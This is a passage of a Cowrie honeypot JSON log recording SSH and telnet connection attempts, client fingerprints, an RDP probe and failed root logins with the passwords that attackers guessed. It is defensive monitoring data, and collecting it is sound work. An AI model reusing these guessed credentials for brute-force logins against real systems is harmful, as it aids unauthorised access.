{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58554,"dst_ip":"10.17.0.5","dst_port":23,"session":"692b7a761bcd","protocol":"telnet","message":"New connection: 192.119.13.58:58554 (10.17.0.5:23) [session: 692b7a761bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:41.443916Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34098,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d1634eb36d","protocol":"telnet","message":"New connection: 192.119.13.58:34098 (10.17.0.5:23) [session: e5d1634eb36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:51.291478Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":50226,"dst_ip":"10.17.0.5","dst_port":22,"session":"46caa45d2625","protocol":"ssh","message":"New connection: 103.75.183.219:50226 (10.17.0.5:22) [session: 46caa45d2625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:53.754506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:53.759615Z","src_ip":"103.75.183.219","session":"46caa45d2625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:54.002736Z","src_ip":"103.75.183.219","session":"46caa45d2625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:54.734622Z","src_ip":"103.75.183.219","session":"46caa45d2625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:44:55.980691Z","src_ip":"103.75.183.219","session":"46caa45d2625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":49838,"dst_ip":"10.17.0.5","dst_port":22,"session":"14555ca836a6","protocol":"ssh","message":"New connection: 87.251.79.125:49838 (10.17.0.5:22) [session: 14555ca836a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:04.813819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:04.823881Z","src_ip":"87.251.79.125","session":"14555ca836a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:04.918518Z","src_ip":"87.251.79.125","session":"14555ca836a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19771977","message":"login attempt [root/19771977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:05.141278Z","src_ip":"87.251.79.125","session":"14555ca836a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:06.222527Z","src_ip":"87.251.79.125","session":"14555ca836a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.13318133354187,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:10.908196Z","src_ip":"192.119.13.58","session":"1218f2440077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45684,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e1900d246ac","protocol":"ssh","message":"New connection: 109.237.96.109:45684 (10.17.0.5:22) [session: 2e1900d246ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:16.749178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:16.754162Z","src_ip":"109.237.96.109","session":"2e1900d246ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:16.878548Z","src_ip":"109.237.96.109","session":"2e1900d246ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":37942,"dst_ip":"10.17.0.5","dst_port":22,"session":"6311fac7f5a4","protocol":"ssh","message":"New connection: 103.149.170.125:37942 (10.17.0.5:22) [session: 6311fac7f5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:17.204851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:17.209847Z","src_ip":"103.149.170.125","session":"6311fac7f5a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bogdan","message":"login attempt [root/bogdan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:17.446009Z","src_ip":"109.237.96.109","session":"2e1900d246ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:17.478745Z","src_ip":"103.149.170.125","session":"6311fac7f5a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juventus","message":"login attempt [root/juventus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:18.317538Z","src_ip":"103.149.170.125","session":"6311fac7f5a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:18.572357Z","src_ip":"109.237.96.109","session":"2e1900d246ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:19.592284Z","src_ip":"103.149.170.125","session":"6311fac7f5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":52342,"dst_ip":"159.203.135.109","dst_port":22,"session":"025825dacf10","protocol":"ssh","message":"New connection: 103.149.28.157:52342 (159.203.135.109:22) [session: 025825dacf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:22.790007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:22.794697Z","src_ip":"103.149.28.157","session":"025825dacf10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:23.045219Z","src_ip":"103.149.28.157","session":"025825dacf10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfntyjr","message":"login attempt [root/rfntyjr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:23.797326Z","src_ip":"103.149.28.157","session":"025825dacf10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58100,"dst_ip":"10.17.0.5","dst_port":23,"session":"13b7e2adb679","protocol":"telnet","message":"New connection: 192.119.13.58:58100 (10.17.0.5:23) [session: 13b7e2adb679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:24.207506Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:25.050387Z","src_ip":"103.149.28.157","session":"025825dacf10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33652,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f79e4c4cb18","protocol":"telnet","message":"New connection: 192.119.13.58:33652 (10.17.0.5:23) [session: 6f79e4c4cb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:25.296133Z"}
{"eventid":"cowrie.session.closed","duration":41.34239077568054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:32.633743Z","src_ip":"192.119.13.58","session":"e5d1634eb36d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.21403932571411,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:32.657853Z","src_ip":"192.119.13.58","session":"692b7a761bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45376,"dst_ip":"10.17.0.5","dst_port":23,"session":"220e6b65e442","protocol":"telnet","message":"New connection: 192.119.13.58:45376 (10.17.0.5:23) [session: 220e6b65e442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:36.848140Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53458,"dst_ip":"10.17.0.5","dst_port":23,"session":"a679d26fdac8","protocol":"telnet","message":"New connection: 192.119.13.58:53458 (10.17.0.5:23) [session: a679d26fdac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:39.351457Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ece23dc305","protocol":"telnet","message":"New connection: 192.119.13.58:35764 (10.17.0.5:23) [session: f6ece23dc305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:42.225239Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40218,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe82136396b","protocol":"telnet","message":"New connection: 192.119.13.58:40218 (10.17.0.5:23) [session: bfe82136396b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:43.562888Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.72.138.27","src_port":34076,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b671957484","protocol":"telnet","message":"New connection: 111.72.138.27:34076 (10.17.0.5:23) [session: 59b671957484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:45:53.006997Z"}
{"eventid":"cowrie.session.closed","duration":12.330131769180298,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:05.336999Z","src_ip":"111.72.138.27","session":"59b671957484","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.960994243621826,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:06.257025Z","src_ip":"192.119.13.58","session":"6f79e4c4cb18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42744,"dst_ip":"10.17.0.5","dst_port":23,"session":"af2dd6650f49","protocol":"telnet","message":"New connection: 192.119.13.58:42744 (10.17.0.5:23) [session: af2dd6650f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:07.061823Z"}
{"eventid":"cowrie.session.closed","duration":48.239309549331665,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:12.446696Z","src_ip":"192.119.13.58","session":"13b7e2adb679","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.30009174346924,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:14.148097Z","src_ip":"192.119.13.58","session":"220e6b65e442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43838,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf33b5f2a5cc","protocol":"telnet","message":"New connection: 192.119.13.58:43838 (10.17.0.5:23) [session: cf33b5f2a5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:14.736411Z"}
{"eventid":"cowrie.session.closed","duration":32.07102155685425,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:15.633792Z","src_ip":"192.119.13.58","session":"bfe82136396b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.51518392562866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:18.740307Z","src_ip":"192.119.13.58","session":"f6ece23dc305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.936660289764404,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:25.287990Z","src_ip":"192.119.13.58","session":"a679d26fdac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40116,"dst_ip":"10.17.0.5","dst_port":23,"session":"a63c5591a374","protocol":"telnet","message":"New connection: 192.119.13.58:40116 (10.17.0.5:23) [session: a63c5591a374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:28.987191Z"}
{"eventid":"cowrie.session.closed","duration":0.007678985595703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:28.994746Z","src_ip":"192.119.13.58","session":"a63c5591a374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72742509841919,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:39.789127Z","src_ip":"192.119.13.58","session":"af2dd6650f49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61531,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b182a521b46","protocol":"ssh","message":"New connection: 152.42.212.128:61531 (159.203.135.109:22) [session: 8b182a521b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:41.510444Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:41.515888Z","src_ip":"152.42.212.128","session":"8b182a521b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:41.519818Z","src_ip":"152.42.212.128","session":"8b182a521b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":58028,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5a5a09b6e82","protocol":"ssh","message":"New connection: 103.122.221.179:58028 (10.17.0.5:22) [session: d5a5a09b6e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:41.727484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:46:41.732453Z","src_ip":"103.122.221.179","session":"d5a5a09b6e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305